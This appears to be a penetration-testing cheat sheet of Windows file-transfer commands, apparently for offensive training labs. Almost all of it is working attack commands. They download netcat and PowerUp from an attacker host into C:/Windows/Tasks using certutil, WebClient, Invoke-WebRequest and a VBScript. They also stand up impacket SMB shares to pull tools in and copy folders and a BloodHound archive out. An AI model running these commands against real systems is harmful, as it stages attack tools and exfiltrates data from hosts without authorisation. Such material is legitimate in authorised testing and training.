Skip to content

Windows

COPY / PASTE

certutil -encode file.txt file_b64.txt
certutil -decode b64_encoded outfile

# decode on linux
cat file.b64| base64 -w 0 -d > file.txt

HTTP

certutil -f -urlcache http://10.10.10.10/PowerUp.ps1 C:/Windows/Tasks/PowerUp.ps1

// System.Net.WebClient is by default proxy aware
(new-object System.Net.WebClient).DownloadFile('http://$IP/nc.exe','C:\Windows\Tasks\nc.exe')


Invoke-WebRequest http://$IP/file.exe -OutFile file.exe

cscript wget.vbs http://10.10.10.10/nc.exe nc.exe

SMB

impacket-smbserver share . -smb2support
copy \\10.10.10.10\share\nc.exe nc.exe

copy .\folder\*.* \\192.168.119.189\share\ /Z /Y

impacket-smbserver share . -smb2support -username user -password secret
net use z: \\10.10.10.10\share /u:user secret
copy bloodhound.zip \\10.10.10.10\share\
net use /d \\10.10.10.10\share